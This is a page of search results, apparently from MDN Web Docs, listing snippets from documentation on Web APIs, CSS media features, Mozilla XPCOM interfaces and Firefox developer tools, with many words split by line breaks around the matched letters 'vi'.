(dynamic widgets) js (menus, events) libmime mail datasources mail javascript folder/message management msgdb imap/nntp/pop3 necko (networking) sections in grey refer to modules outside of mail/news the base module the base module pro
vides a generic interface to a set of protocol-independant messaging ser
vices.
...it manages indi
vidual accounts on mail servers and the identity of users as used to send mail.
... mail window management - each mail window maintains a certain amount of state to aid in
view na
vigation, progress display, etc.
...And 3 more matches
DOM Property Viewer - Firefox Developer Tools
the dom property
viewer is new in firefox 48.
... the dom property
viewer lets you inspect the properties of the dom as an expandable tree structure, starting from the window object of the current page or the selected iframe.
... enabling the dom property
viewer the dom property
viewer is not enabled by default.
...And 3 more matches
Bluetooth.getDevices() - Web APIs
the getde
vices() method of bluetooth interface of web bluetooth api exposes the bluetooth de
vices this origin is allowed to access.
... note: this method returns a bluetoothde
vice for each de
vice the origin is currently allowed to access, even the ones that are out of range or powered off.
... the program can detect when a de
vice comes online or into range by watching for bluetooth advertisements by calling bluetoothde
vice.watchadvertisements() on that de
vice.
...And 3 more matches
BudgetService.getBudget() - Web APIs
the getbudget() property of the budgetser
vice interface returns a promise that resolves to an array of budgetstate objects indicating the expected state of the budget at times in the future.
... syntax var apromise = budgetser
vice.getbudget(); apromise.then(function(budgetstate[]){ ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetbudget experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
...And 3 more matches
BudgetService.getCost() - Web APIs
the getcost() property of the budgetser
vice interface returns a promise that resolves to a double indicating the worst-case background operation cost of the pro
vided background operation.
... syntax var apromise = budgetser
vice.getcost(operation); apromise.then(function(somedouble){ ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetcost experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
...And 3 more matches
BudgetService.reserve() - Web APIs
the reserve() property of the budgetser
vice interface returns a promise that resolves to a boolean indicating whether the requested budget operation can be reserved.
... syntax var apromise = budgetser
vice.reserve(operation); apromise.then(function(boolean){ ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreserve experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
...And 3 more matches
DeviceMotionEvent.rotationRate - Web APIs
returns the rate at which the de
vice is rotating around each of its axes in degrees per second.
... note: if the hardware isn't capable of pro
viding this information, this property returns null.
... syntax var rotationrate = de
vicemotionevent.rotationrate; value the rotationrate property is a read only object describing the rotation rates of the de
vice around each of its axes: alpha the rate at which the de
vice is rotating about its z axis; that is, being twisted about a line perpendicular to the screen.
...And 3 more matches
Device Memory API - Web APIs
capabilities of the client de
vices largely depend on the amount of available ram.
... traditionally, developrs had to use heruistics and either benchmark the de
vice or infer the de
vice capabilities based on other factors like de
vice manufacturer or user agent strings.
... accessing de
vice memory capacity there are two ways to acces the approximate amount of ram de
vice has:
via javascript api and
via client hints http header.
...And 3 more matches
FederatedCredential.provider - Web APIs
the pro
vider property of the federatedcredential interface returns a usvstring containing a credential's federated identity pro
vider.
... syntax var pro
vider = federatedcredential.pro
vider value a usvstring containing a credential's federated identity pro
vider.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpro
vider experimentalchrome full support 51edge full support ≤79firefox ?
...And 3 more matches
FullscreenOptions.navigationUI - Web APIs
the fullscreenoptions dictionary's na
vigationui property is used when calling requestfullscreen() to specify to what extent the user agent should include its standard user interface while the element is presented in full-screen mode.
... syntax let fullscreenoptions = { na
vigationui: value }; value the value of the na
vigationui property must be one of the following strings.
... "hide" the browser's na
vigation interface will be hidden and the entire dimensions of the screen will be allocated to the display of the element.
...And 3 more matches
IDBEnvironment - Web APIs
important: the indexeddb property that was pre
viously defined in this mixin is instead now windoworworkerglobalscope.indexeddb (that is, defined as a member of the windoworworkerglobalscope mixin).
... the idben
vironment helper of the indexeddb api contains the indexeddb property, which pro
vides access to indexeddb functionality.
... properties idben
vironment.indexeddb read only pro
vides a mechanism for applications to asynchronously access capabilities of indexed databases; contains an idbfactory object.
...And 3 more matches
Navigator.cookieEnabled - Web APIs
na
vigator.cookieenabled returns a boolean value that indicates whether cookies are enabled or not.
... syntax var cookieenabled = na
vigator.cookieenabled; cookieenabled is a boolean: true or false.
... note: when the browser is configured to block third-party cookies, and na
vigator.cookieenabled is invoked inside a third-party iframe, it returns true in safari, edge spartan and ie (while trying to set a cookie in such scenario would fail).
...And 3 more matches
Navigator.share() - Web APIs
the na
vigator.share() method of the web share api invokes the native sharing mechanism of the de
vice.
... syntax var sharepromise = na
vigator.share(data); parameters data an object containing data to share.
...the javascript looks like this: const sharedata = { title: 'mdn', text: 'learn web development on mdn!', url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await na
vigator.share(sharedata) resultpara.textcontent = 'mdn shared successfully' } catch(err) { resultpara.textcontent = 'error: ' + err } }); sharing files to share files, first test for and call na
vigator.canshare().
...And 3 more matches
NavigatorConcurrentHardware - Web APIs
the na
vigatorconcurrenthardware mixin adds to the na
vigator interface features which allow web content to determine how many logical processors the user has available, in order to let content and web apps optimize their operations to best take advantage of the user's cpu.
... the number of logical processor cores is a way to measure the number of threads which can effectively be run at once without them ha
ving to share cpus.
...the browser may, however, choose to reduce the number in order to represent more accurately the number of workers that can run at once properties na
vigatorconcurrenthardware.hardwareconcurrency read only returns the number of logical processors which may be available to the user agent.
...And 3 more matches
NonDocumentTypeChildNode.previousElementSibling - Web APIs
the nondocumenttypechildnode.pre
viouselementsibling read-only property returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list.
... syntax prevnode = elementnodereference.pre
viouselementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <li>this is a list item</li> <li>this is another list item</li> <div id="div-03">here is div-03</div> <script> let el = document.getelementbyid('div-03').pre
viouselementsibling; document.write('<p>siblings of div-03</p><ol>'); while (el) { document.write('<li>' + el.nodename + '</li>'); el = el.pre
viouselementsibling; } document.write('</ol>'); </script> this example outputs the following into the page when it loads: siblings of div-03 1.
...div polyfills polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("pre
viouselementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "pre
viouselementsibling", { get: function(){ var e = this.pre
vioussibling; while(e && 1 !== e.nodetype) e = e.pre
vioussibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/master/dom/nondocumenttypechildnode/pre
viouselementsibling/pre
viouselementsibling.md (function (arr) { arr.foreach(function (item) { if ...
...And 3 more matches
Notification.vibrate - Web APIs
the
vibrate read-only property of the notification interface specifies a a
vibration pattern for the de
vice's
vibration hardware to emit when the notification fires.
... this is specified in the
vibrate option of the notification() constructor.
... syntax var
vibrate = notification.
vibrate; value a
vibration pattern, as specified in the
vibration api spec.
...And 3 more matches
SVGFitToViewBox - Web APIs
svg fit to
view box interface the svgfitto
viewbox interface is used to reflect the
viewbox and preserveaspectratio attributes, and is mixed in to other interfaces for elements that support these two attributes.
... interface over
view also implement none methods none properties svganimatedpreserveaspectratio preserveaspectratio svganimatedrect
viewbox normative document svg 1.1 (2nd edition) properties name type description preserveaspectratio svganimatedpreserveaspectratio corresponds to attribute preserveaspectratio on the given element.
...
viewbox svganimatedrect corresponds to attribute
viewbox on the given element.
...And 3 more matches
ServiceWorkerContainer.getRegistration() - Web APIs
the getregistration() method of the ser
viceworkercontainer interface gets a ser
viceworkerregistration object whose scope url matches the pro
vided document url.
... the method returns a promise that resolves to a ser
viceworkerregistration or undefined.
... syntax ser
viceworkercontainer.getregistration(scope).then(function(ser
viceworkerregistration) { ...
...And 3 more matches
ServiceWorkerContainer.ready - Web APIs
the ready read-only property of the ser
viceworkercontainer interface pro
vides a way of delaying code execution until a ser
vice worker is active.
... it returns a promise that will never reject, and which waits indefinitely until the ser
viceworkerregistration associated with the current page has an active worker.
... once that condition is met, it resolves with the ser
viceworkerregistration.
...And 3 more matches
ServiceWorkerGlobalScope.onmessage - Web APIs
the onmessage property of the ser
viceworkerglobalscope interface is an event handler fired whenever a message event occurs — when incoming messages are received.
... note: ser
vice workers define the extendable event to allow extending the lifetime of the event.
... for the message event, ser
vice workers use the extendablemessageevent interface which extends the extendableevent interface.
...And 3 more matches
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
the ser
viceworkerglobalscope.onnotificationclick property is an event handler called whenever the notificationclick event is dispatched on the ser
viceworkerglobalscope object, that is when a user clicks on a displayed notification spawned by ser
viceworkerregistration.shownotification().
... notifications created on the main thread or in workers which aren't ser
vice workers using the notification() constructor will instead receive a click event on the notification object itself.
... note: trying to create a notification inside the ser
viceworkerglobalscope using the notification() constructor will throw an error.
...And 3 more matches
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
the ser
viceworkerglobalscope.skipwaiting() method of the ser
viceworkerglobalscope forces the waiting ser
vice worker to become the active ser
vice worker.
... use this method with clients.claim() to ensure that updates to the underlying ser
vice worker take effect immediately for both the current client and all other active clients.
... syntax ser
viceworkerglobalscope.skipwaiting().then(function() { //do something }); returns a promise that immediately resolves with undefined.
...And 3 more matches
ServiceWorkerRegistration.getNotifications() - Web APIs
the getnotifications() method of the ser
viceworkerregistration interface returns a list of the notifications in the order that they were created from the current origin
via the current ser
vice worker registration.
... origins can have many active but differently-scoped ser
vice worker registrations.
... notifications created by one ser
vice worker on the same origin will not be available to other active ser
vices workers on that same origin.
...And 3 more matches
USBDevice.controlTransferOut() - Web APIs
the controltransferout() method of the usbde
vice interface returns a promise that resolves with a usbouttransferresult when a command or status operation has been transmitted to the usb de
vice.
... syntax var promise = usbde
vice.controltransferout(setup, data) parameters setup an object that sets options for .
... the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (common to all usb de
vices) "class" (common to an industry-standard class of de
vices) or "vendor".
...And 3 more matches
VideoTrack.label - Web APIs
the read-only
videotrack property label returns a string specifying the
video track's human-readable label, if one is available; otherwise, it returns an empty string.
... syntax var
videotracklabel =
videotrack.label; value a domstring specifying the track's human-readable label, if one is available in the track metadata.
... example this example returns an array of track kinds and labels for potential use in a user interface to select
video tracks for a specified media element.
...And 3 more matches
WebGL2RenderingContext.vertexAttribDivisor() - Web APIs
the webgl2renderingcontext.vertexattribdi
visor() method of the webgl 2 api modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with gl.drawarraysinstanced() and gl.drawelementsinstanced().
... note: when using webgl 1, the angle_instanced_arrays extension can pro
vide this method, too.
... syntax void gl.vertexattribdi
visor(index, di
visor); parameters index a gluint specifying the index of the generic vertex attributes.
...And 3 more matches
WorkerNavigator.permissions - Web APIs
the workerna
vigator.permissions read-only property returns a permissions object that can be used to query and update permission status of apis covered by the permissions api.
... examples self.na
vigator.permissions.query({name:'notifications'}).then(function(result) { if (result.state === 'granted') { shownotification(); } else if (result.state === 'prompt') { requestnotificationpermission() } }); specification specification status comment permissions working draft initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpermissions experimentalchrome full support 43edge full support ≤79firefox no support noie ?
...And 3 more matches
XRSession.onvisibilitychange - Web APIs
the on
visibilitychange attribute of the xrsession object is the event handler for the
visibilitychange event, which is dispatched when the
visibility state of the xr session changes.
... the
visibility state of the session is accessible
via xrsession.
visibilitystate.
... note: the
visibility state of xr session affects the frame loop so callbacks registered
via xrsession.requestanimationframe() might not be called.
...And 3 more matches
XRVisibilityState - Web APIs
the xr
visibilitystate enumerated type defines the string values which are valid for the xrsession interface's
visibilitystate property, which indicates whether or not an xr session is currently
visible to the user, and if it is, whether or not it's currently the primary focus.
... values hidden the
virtual scene generated by the xrsession is not currently
visible to the user, so its requestanimationframe() callbacks are not being executed until the
visibilitystate changes.
...
visible the
virtual scene rendered by the xrsession is currently
visible to the user and is the primary focus of the user's attention.
...And 3 more matches
-moz-device-pixel-ratio - CSS: Cascading Style Sheets
the -moz-de
vice-pixel-ratio gecko-only css media feature can be used to apply styles based on the number of de
vice pixels per css pixel.
... note: this media feature is also implemented by webkit and by ie 11 for windows phone 8.1 as -webkit-de
vice-pixel-ratio.
... the min and max prefixes as implemented by gecko are named min--moz-de
vice-pixel-ratio and max--moz-de
vice-pixel-ratio; but the same prefixes as implemented by webkit are named -webkit-min-de
vice-pixel-ratio and -webkit-max-de
vice-pixel-ratio.
...And 3 more matches
device-height - CSS: Cascading Style Sheets
the de
vice-height css media feature can be used to test the height of an output de
vice's rendering surface.
... syntax the de
vice-height feature is specified as a <length> value.
... it is a range feature, meaning that you can also use the prefixed min-de
vice-height and max-de
vice-height variants to query minimum and maximum values, respectively.
...And 3 more matches
device-width - CSS: Cascading Style Sheets
the de
vice-width css media feature can be used to test the width of an output de
vice's rendering surface.
... syntax the de
vice-width feature is specified as a <length> value.
... it is a range feature, meaning that you can also use the prefixed min-de
vice-width and max-de
vice-width variants to query minimum and maximum values, respectively.
...And 3 more matches
viewport-fit - CSS: Cascading Style Sheets
the
viewport-fit css @
viewport descriptor controls how a document's
viewport fills the screen.
... syntax /* keyword values */
viewport-fit: auto;
viewport-fit: contain;
viewport-fit: cover; values auto this value doesn’t affect the initial layout
viewport, and the whole web page is
viewable.
... contain the
viewport is scaled to fit the largest rectangle inscribed within the display.
...And 3 more matches
scroll-behavior - CSS: Cascading Style Sheets
the scroll-beha
vior css property sets the beha
vior for a scrolling box when scrolling is triggered by the na
vigation or cssom scrolling apis.
...when this property is specified on the root element, it applies to the
viewport instead.
... this property specified on the body element will not propagate to the
viewport.
...And 3 more matches
Device-Memory - HTTP
the de
vice-memory header is a de
vice memory api header that works like client hints header which represents the approximate amount of ram client de
vice has.
... note: client hints are accessible only on secure origins (
via tls).
... server has to opt in to receive de
vice-memory header from the client by sending accept-ch and accept-ch-lifetime response headers.
...And 3 more matches
serviceworker - Web app manifests
type object mandatory no the ser
viceworker member describes a ser
vice worker that the developer intends to install to control the pwa.
... examples "ser
viceworker": { "src": "./ser
viceworker.js", "scope": "/app", "type": "", "update_
via_cache": "none" } values ser
vice worker contain the following values (only src is required): member description src the url to download the ser
vice worker script from.
... this is the only required member of the ser
viceworker member.
...And 3 more matches
places/favicon - Archive of obsolete content
helper functions for working with fa
vicons.
... globals functions getfa
vicon(object, callback) takes an object that represents a page's url and returns a promise that resolves with the fa
vicon url for that page.
...the platform ser
vice (moziasyncfa
vicons) retrieves fa
vicon data stored from pre
viously
visited sites, and as such, will only return fa
vicon urls for
visited sites.
...And 2 more matches
Style System Overview - Archive of obsolete content
(important ad
vice for chrome css authors.) pseudo-elements are hashed in element hash, so for matching pseudo-elements we only need one hashtable lookup.
... this style struct is always const, and should always be declared as such (e
vil old-style casts often used with the non-typesafe forms sometimes hide this error), since the struct may be shared with other elements.
... style data computation all the style struct computation described in the pre
vious few slides happens lazily.
...And 2 more matches
Video presentations - Archive of obsolete content
mozilla is actively working to produce
video presentations that can help you learn how the mozilla codebase works and how to take advantage of its technology in your own applications and extensions.
... architecture these presentations pro
vide an architectural over
view of the codebase.
...(as quicktime; 282 mb) community these presentations pro
vide insight into the mozilla community and how the project works.
...And 2 more matches
view - Archive of obsolete content
« xul reference
view type: nsitree
view the
view for the tree, which is the object which generates the data to be displayed.
... you can assign an object which implements nsitree
view to this property.
... trees built from rdf or those which use treeitems directly will already have a
view.
...And 2 more matches
Styling Abbreviations and Acronyms - Archive of obsolete content
see how you can take control of their presentation without sacrificing the benefits these elements pro
vide.
... many authors are beginning to use the html elements abbr (abbre
viation) and acronym in their web pages.
...le attribute is rendered with a dotted underline, per the following rule in resource://gre-resources/html.css abbr[title], acronym[title] { text-decoration: dotted underline; } the solution if authors wish to remove the underline from abbr and acronym elements, this can be done with the following rule: abbr[title], acronym[title] { text-decoration: none; } it may be better to lessen the
visual weight of the border without actually remo
ving it.
...And 2 more matches
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp na
vigation directives are used in a content-security-policy header and govern to which location a user can na
vigate to or submit a form to, for example.
... na
vigation directives don't fall back to the default-src directive.
... list of csp na
vigation directives form-action restricts the urls which can be used as the target of a form submissions from a given context.
...And 2 more matches
Frame script environment
the frame script's global is a contentframemessagemanager, gi
ving it the following en
vironment: content the dom window of the content loaded in the browser.
...you can still access the global directly
via this.
... frame scripts run with system pri
vileges and have access to the components object, enabling them to use xpcom objects and jsms.
...And 2 more matches
HTMLIFrameElement.getVisible()
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the get
visible() method of the htmliframeelement is used to request the current
visible state of the browser <iframe>.
... syntax instanceofdomrequest = instanceofhtmliframeelement.get
visible(); returns a domrequest object to handle the get
visible() request's success and error cases.
...And 2 more matches
Necko Interfaces Overview
nsiioser
vice central necko ser
vice manages protocol handlers thin layer over protocol handlers pro
vides interface for creating uri objects from uri strings maps uri scheme to appropriate nsiprotocolhandler impl nsiuri (nsiurl, nsifileurl, nsistandardurl) represents an uri, with getters and setters for various uri parts (eg.
... scheme, host, path, ...) per protocol implementation necko pro
vides uri impl's for common uri formats (see nsstandardurl, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie.
... channel is used to download the resource once) download initiated
via nsichannel::asyncopen method can be canceled
via nsirequest::cancel method at anytime after invocation of asyncopen method nsiprotocolhandler a ser
vice that manages a protocol, identified by it's uri scheme (eg.
...And 2 more matches
mozIVisitInfoCallback
toolkit/components/places/public/moziasynchistory.idlscriptable this interface pro
vides callback handling functionality for moziasynchistory.updateplaces() 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method over
view void handleerror(in nsresult aresultcode, in moziplaceinfo aplaceinfo); void handleresult(in moziplaceinfo aplaceinfo); void oncomplete(in nsresult aresultcode, in moziplaceinfo aplaceinfo);obsolete since gecko 8.0 methods handleerror() called when a moziplaceinfo couldn't be processed.
... handleresult() called for each
visit added, title change, or guid change when passed to moziasynchistory.updateplaces().
... if more than one operation is done for a given
visit, this method is only called once (for all changes at once).
...And 2 more matches
nsICacheMetaDataVisitor
netwerk/cache/nsicacheentrydescriptor.idlscriptable this interface is used for
visiting the meta data elements for a specified cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method over
view boolean
visitmetadataelement(in string key, in string value); methods
visitmetadataelement() this method is called for each key/value pair in the meta data for a cache entry.
... boolean
visitmetadataelement( in string key, in string value ); parameters key the key for
visiting the meta data for a cache entry.
...And 2 more matches
nsIEventListenerService
content/events/public/nsieventlistenerser
vice.idlscriptable a ser
vice that can be used to get a list of listeners obser
ving events; this is primarily useful for debuggers.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/eventlistenerser
vice;1.
... to create an instance, use: var eventlistenerser
vice = components.classes["@mozilla.org/eventlistenerser
vice;1"] .getser
vice(components.interfaces.nsieventlistenerser
vice); universalxpconnect pri
vileges are required to use this ser
vice.
...And 2 more matches
nsIExternalHelperAppService
uriloader/exthandler/nsiexternalhelperappser
vice.idlscriptable the external helper app ser
vice is used for finding and launching platform specific external applications for a given mime content type.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/uriloader/external-helper-app-ser
vice;1.
... to access this ser
vice, use: var externalhelperappser
vice = components.classes["@mozilla.org/uriloader/external-helper-app-ser
vice;1"] .getser
vice(components.interfaces.nsiexternalhelperappser
vice); method over
view boolean applydecodingforextension(in autf8string aextension, in acstring aencodingtype); nsistreamlistener docontent(in acstring amimecontenttype, in nsirequest arequest, in nsiinterfacerequestor awindowcontext, in boolean aforcesave); methods applydecodingforextension() determines whether or not data whose filename has the specified extension should be decoded from the specified encoding type before being saved or delivered to helper applications.
...And 2 more matches
nsIFaviconDataCallback
toolkit/components/places/public/nsifa
viconser
vice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void oncomplete(in nsiuri auri, in unsigned long adatalen, [const,array,size_is(adatalen)] in octet adata, in autf8string amimetype); methods oncomplete() called when the required fa
vicon's information is available.
...for some method we could not know the fa
vicon's data (it could just be too expensive to get it, or the method does not require we actually have any data).
...And 2 more matches
nsILivemarkService
toolkit/components/places/public/nsilivemarkser
vice.idlscriptable this interface is used to create and reload livemarks.
... implemented by: @mozilla.org/browser/livemark-ser
vice;2.
... to use this ser
vice, use: var livemarkser
vice = components.classes["@mozilla.org/browser/livemark-ser
vice;2"] .getser
vice(components.interfaces.nsilivemarkser
vice); method over
view long long createlivemark(in long long folder, in astring name, in nsiuri siteuri, in nsiuri feeduri, in long index); long long createlivemarkfolderonly(in long long folder, in astring name, in nsiuri siteuri, in nsiuri feeduri, in long index); nsiuri getfeeduri(in long long container); long long getlivemarkidforfeeduri(in nsiuri afeeduri); nsiuri getsiteuri(in long long container); boolean islivemark(in long long folder); void reloadalllivemarks(); void reloadlivemarkfolder(in long long folderid); void set...
...And 2 more matches
nsIMicrosummaryService
toolkit/components/places/public/nsimicrosummaryser
vice.idlscriptable this interface pro
vides methods for managing installed microsummaries, and the bookmarks they apply to.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/microsummary/ser
vice;1 as a ser
vice: var microsummaryser
vice = components.classes["@mozilla.org/microsummary/ser
vice;1"] .getser
vice(components.interfaces.nsimicrosummaryser
vice); method over
view void addgenerator(in nsiuri generatoruri); nsimicrosummary createmicrosummary(in nsiuri pageuri, in nsiuri generatoruri); nsisimpleenumerator getbookmarks(); nsimicrosummarygenerator getgenerator(in nsiuri generatoruri); nsimicrosummaryset getm...
...callable by content
via nsisidebar.addmicrosummarygenerator().
...And 2 more matches
nsINetworkLinkService
netwerk/base/public/nsinetworklinkser
vice.idlscriptable network link status monitoring ser
vice.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/network/network-link-ser
vice;1 as a ser
vice: var networklinkser
vice = components.classes["@mozilla.org/network/network-link-ser
vice;1"] .getser
vice(components.interfaces.nsinetworklinkser
vice); attributes attribute type description islinkup boolean this is set to true when the system is believed to have a usable network connection.
... link_type_usb 2 a connection
via a usb port.
...And 2 more matches
nsIParentalControlsService
toolkit/components/parentalcontrols/public/nsiparentalcontrolsser
vice.idlscriptable this interface pro
vides access to the operating system's parental controls feature, allowing code to detect whether such a ser
vice is enabled and to request overrides to bypass the feature.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: currently, this interface is only supported on microsoft windows
vista and newer as well as android 4.3 and newer.
... implemented by: @mozilla.org/parental-controls-ser
vice;1.
...And 2 more matches
nsIPlacesImportExportService
toolkit/components/places/nsiplacesimportexportser
vice.idlscriptable pro
vides methods for exporting places data.
...the interface name has been kept for compatibility reasons for code using the export ser
vice.
... implemented by: @mozilla.org/import-export-ser
vice;1 as a ser
vice: var placesimportexportser
vice = components.classes["@mozilla.org/import-export-ser
vice;1"] .getser
vice(components.interfaces.nsiplacesimportexportser
vice); method over
view void backupbookmarksfile(); void exporthtmltofile(in nsilocalfile afile); void importhtmlfromfile(in nsilocalfile afile, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromfiletofolder(in nsilocalfile afile, in print64 afolder, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromuri(in nsiuri auri, in boolean aisinitialimport); obsolete since gecko 14.0 methods backupbookmarksfile() backs up the bookmarks.html file.
...And 2 more matches
Color vision simulation - Firefox Developer Tools
the simulator in the accessibility inspector in firefox developer tools lets you see what a web page would look like to users with various forms of color
vision deficiency (better known as "color blindness"), as well as contrast sensiti
vity loss.
... "color blindness" is a bit of a misnomer, since most people with these disorders can see colors, but do not see all of the distinctions that people with normal color
vision can see; color
vision deficiencies affect perception across the color spectrum, not only of specific colors like red or green.
... color
vision deficiencies affect about 8% of men, and 0.5% of women.
...And 2 more matches
ANGLE_instanced_arrays.vertexAttribDivisorANGLE() - Web APIs
the angle_instanced_arrays.vertexattribdi
visorangle() method of the webgl api modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle().
... note: when using webgl2, this method is available as gl.vertexattribdi
visor() by default.
... syntax void ext.vertexattribdi
visorangle(index, di
visor); parameters index a gluint specifying the index of the generic vertex attributes.
...And 2 more matches
BluetoothRemoteGATTServer.getPrimaryService() - Web APIs
the bluetoothremotegattserver.getprimaryser
vice() method returns a promise to the primary bluetoothgattser
vice offered by the bluetooth de
vice for a specified bluetoothser
viceuuid.
... syntax bluetoothremotegattserver.getprimaryser
vice(bluetoothser
viceuuid).then(function(bluetoothgattser
vice) { ...
... }) returns a promise that resolves to a bluetoothgattser
vice object.
...And 2 more matches
BluetoothRemoteGATTServer.getPrimaryServices() - Web APIs
the bluetoothremotegattserver.getprimaryser
vices() method returns a promise to a list of primary bluetoothgattser
vice objects offered by the bluetooth de
vice for a specified bluetoothser
viceuuid.
... syntax bluetoothremotegattserver.getprimaryser
vices(bluetoothser
viceuuid).then(function(bluetoothgattser
vices) { ...
... }) returns a promise that resolves to a list of bluetoothgattser
vice objects.
...And 2 more matches
getIncludedService() - Web APIs
the bluetoothgattser
vice.getincludedser
vice() method returns a promise to an instance of bluetoothgattser
vice for a given universally unique identifier (uuid).
... syntax bluetoothgattser
viceinstance.getincludedser
vice(ser
vice).then(function(bluetoothgattser
vice) { ...
... } ) returns a promise to an instance of bluetoothgattser
vice.
...And 2 more matches
getIncludedServices() - Web APIs
the bluetoothgattser
vice.getincludedser
vices() method returns a promise to an array of bluetoothgattser
vice instances for an optional universally unique identifier (uuid).
... syntax bluetoothgattser
viceinstance.getincludedser
vice(ser
vice).then(function(bluetoothgattser
vice) { ...
... } ) returns a promise to an instance of bluetoothgattser
vice.
...And 2 more matches
DeviceMotionEvent.acceleration - Web APIs
the acceleration property returns the amount of acceleration recorded by the de
vice, in meters per second squared (m/s2).
... note: if the hardware doesn't know how to remove gra
vity from the acceleration data, this value may not be present in the de
vicemotionevent.
... in this situation, you'll need to use de
vicemotionevent.accelerationincludinggra
vity instead.
...And 2 more matches
DeviceMotionEventAcceleration - Web APIs
a de
vicemotioneventacceleration object pro
vides information about the amount of acceleration the de
vice is experiencing along all three axes.
... properties de
vicemotioneventacceleration.x read only the amount of acceleration along the x axis.
... de
vicemotioneventacceleration.y read only the amount of acceleration along the y axis.
...And 2 more matches
DeviceMotionEventRotationRate - Web APIs
a de
vicemotioneventrotationrate object pro
vides information about the rate at which the de
vice is rotating around all three axes.
... properties de
vicemotioneventrotationrate.alpha read only the amount of rotation around the z axis, in degrees per second.
... de
vicemotioneventrotationrate.beta read only the amount of rotation around the x axis, in degrees per second.
...And 2 more matches
DeviceProximityEvent - Web APIs
the de
viceproximityevent interface pro
vides information about the distance of a nearby physical object using the proximity sensor of a de
vice.
... properties de
viceproximityevent.max read only the maximum sensing distance the sensor is able to report, in centimeters.
... de
viceproximityevent.min read only the minimum sensing distance the sensor is able to report, in centimeters.
...And 2 more matches
Document: visibilitychange event - Web APIs
the
visibilitychange event is fired at the document when the content of its tab have become
visible or have been hidden.
... bubbles yes cancelable no interface event event handler property on
visibilitychange usage notes the event doesn't include the document's updated
visibility status, but you can get that information from the document's
visibilitystate property.
... examples this example begins playing a music track when the document becomes
visible, and pauses the music when the document is no longer
visible.
...And 2 more matches
HTMLVideoElement.msHorizontalMirror - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... mshorizontalmirror is a read/write property which gets or sets whether a
video element is flipped horizontally in the display.
... syntax html
videoelement.mshorizontalmirror: boolean; value boolean value set to true flips the
video playback horizontally.
...And 2 more matches
InputDeviceCapabilities - Web APIs
the inputde
vicecapabilities() constructor creates a new inputde
vicecapabilities object pro
vides information about the physical de
vice responsible for generating a touch event.
... syntax var inputde
vicecapabilities = new inputde
vicecapabilities([inputde
vicecapabilitiesinit]) returns an instance of the inputde
vicecapabilities interface.
... parameters inputde
vicecapabilitiesinit optional a dictionary object containing a set of de
vice capabilities.
...And 2 more matches
Navigator.clipboard - Web APIs
the clipboard api adds to the na
vigator interface the read-only clipboard property, which returns the clipboard object used to read and write the clipboard's contents.
... syntax theclipboard = na
vigator.clipboard; value the clipboard object used to access the system clipboard.
... examples the following code uses na
vigator.clipboard to access the system clipboard in order to read the contents of the clipboard.
...And 2 more matches
Navigator.oscpu - Web APIs
the na
vigator.oscpu property returns a string that identifies the current operating system.
... syntax oscpuinfo = na
vigator.oscpu value a domstring pro
viding a string which identifies the operating system on which the browser is running.
... windows 32-bit windows nt x.y mac os x (ppc build) powerpc mac os x version x.y mac os x (i386/x64 build) intel mac os x or macos version x.y linux 64-bit (32-bit build) output of uname -s plus "i686 on x86_64" linux output of uname -sm x.y refers to the version of the operating system example function osinfo() { alert(window.na
vigator.oscpu); } osinfo(); // alerts "windows nt 6.0" for example usage notes unless your code is pri
vileged (chrome or at least has the universalbrowserread pri
vilege), it may get the value of the general.oscpu.override preference instead of the true platform.
...And 2 more matches
